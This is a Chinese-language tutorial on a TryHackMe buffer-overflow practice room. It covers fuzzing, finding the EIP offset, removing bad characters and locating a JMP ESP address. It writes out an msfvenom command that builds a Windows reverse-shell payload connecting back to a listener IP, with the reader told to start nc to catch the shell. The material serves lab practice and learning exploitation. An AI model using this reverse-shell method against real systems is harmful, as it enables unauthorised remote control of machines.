点击上方蓝字关注我们
0x00:前置知识以及脚本
之前虽然有写过一些缓冲区入门的文章。但随机问了一些人表示阿巴阿巴你写的看不懂。。。。。行吧那就换种方法用脚本操纵缓冲区溢出比较简单点。
本次在线漏洞测试平台(免费,注册个号即可):https://tryhackme.com/room/bufferoverflowprep
脚本下载地址(需改装): https://github.com/hum4nG0D/OSCP_Bufferovrflw_Prep
(也可不下载,该页面也会有提供脚本复制粘贴也可)
往下拉就可开启机子,有网页版kali提供。虽然号称是免费但人在中国,服务器在美国如果有能力的话建议可以考虑买个会员使用VIP服务器延迟会低点。
0x01:Fuzz测试
这里先解释一下Fuzz测试,你可以理解为啥都往里丢测试。由于我们现在进行的是缓冲区溢出测试,重点在溢出。有点像把水倒入杯子里面,观察倒多少水才能溢出来。而我们通过这个模糊测试可以大概判断出这个程序的极限可以接收多少数据。
这里先把github上的第一个脚本01-fuzz.py稍微改装一下,红点指的地方即为需要更改或稍微添加的地方。
然后直接python运行,FUZZ测试后发现程序大概在接收2100 bytes左右崩了
当然建议也顺便用用网页所提供的脚本测试一下,有点小误差。
0x02:精准定位
虽然我们大概知道程序崩溃点大概在2000-2100左右但还没确定一个精准的位置。所以下一步就是要确认程序崩溃的位置在哪。首先我们需要借助kali自带的pattern_create.rb脚本创造很多很多字符串
这里建议用网页所提供的脚本然后复制粘贴到buffer这个变量里面下面就稍微改改IP地址之类的。重新运行程序一次。
然后再Windows上运行!mona findmsp -distance 3000(这个数字是可以更改的根据前面你生成的字符串数量)。可以看到有个EIP contains normal pattern 0x6f43396e (offset 1978)的字样。(EIP寄存器存储着CPU要读取指令的地方尽头只到了1978这个位置说明极限可能在这里)。
如果想验证一波极限是否在这里的话可以在刚才的脚本里面设置一个返回值。比如说4个B
此时稍微更新一波脚本把offset变量的值设为1978 retn可以设置为BBBB或者其它也可重新运行一次脚本
可以看到此时的EIP已经覆盖变成42424242了(16进制下的BBBB)
0x03:寻找坏字符串
现在我们已经找到一个程序崩溃可以覆盖掉的点了。接下来是寻找坏字符串。由于我们后期是通过写shellcode进程序把它弄崩溃以后获得一个反弹权限。但有些shellcode程序会不认可,这会导致我们的shellcode写入失败。常见的坏字符串有x00(空字节), x0A(空格), x0D(回车),xFF(换页)。但这并不是固定的,每个程序的坏字符串都有可能不一样,不过x00应该是上黑名单首页的。
这里可以用网页所提供的py脚本生成字符串,然后丢到程序里慢慢排查有哪些字符串是坏字符串
这里把py生成的字符串贴到bad变量里面稍微更改下IP地址就可
回到windows被攻击机这里找一波ESP的地址然后用!mona compare -f C:monaoscpbytearray.bin -a ESP地址
这里会弹出一个对话框,嫌疑目标是6个。并不代表着6个全都是坏的有可能是其中某些坏了连累了后面的。00就可以自动忽略了系统也提示了Bytes omitted from input 00
这里其实就是排错法了。把07在脚本里面删了,坏字符串这里07还在上榜,08没了
把08从脚本里面删了,07还在坏字符串榜上,08也上榜了,07是内鬼坏字符串。
这里大概做了一个笔记,最后大概确定了坏字符串为07 2e a0还有00
这里更新一波生成的字符串去除那四大天王。
最后重新运行一次把四大天王给删了终于没有坏字符串了。
0x04:寻找跳跃点
然后我们就要找波跳跃点,用这条mona指令, -cpb是用来识别错误字符
!mona jmp -r esp -cpb “x00”
这条命令可以查找所有的jmp esp指令,这些指令的地址不会包含任何指定的badchar。
输入完以后我选择最头顶的0x625011af
这里就可以把该地址写到retn这个变量里,不过要注意要反着来写而且要加x
0x05:利用msfvenom生成payload
接下来就是用MSFVENOM生成波最后的payload了
命令: msfvenom -p windows/shell_reverse_tcp LHOST=10.4.37.12 LPORT=4444 -b 'x00x07x2exa0' -f c
然后复制到payload里面就可。还有一个要注意的点是NOPS,由于这个msfvenom可能是使用编码器来生成payload,所以我们得在内存中流出一些空间来让payload自己解压缩。在padding这里留16个x90出来最后的脚本是这样的
最后运行,记得提前开启nc一键获得权限,视频讲解可能迟点弄出来
原文始发于微信公众号(神隐攻防实验室):用脚本小子的方法学习缓冲区溢出漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论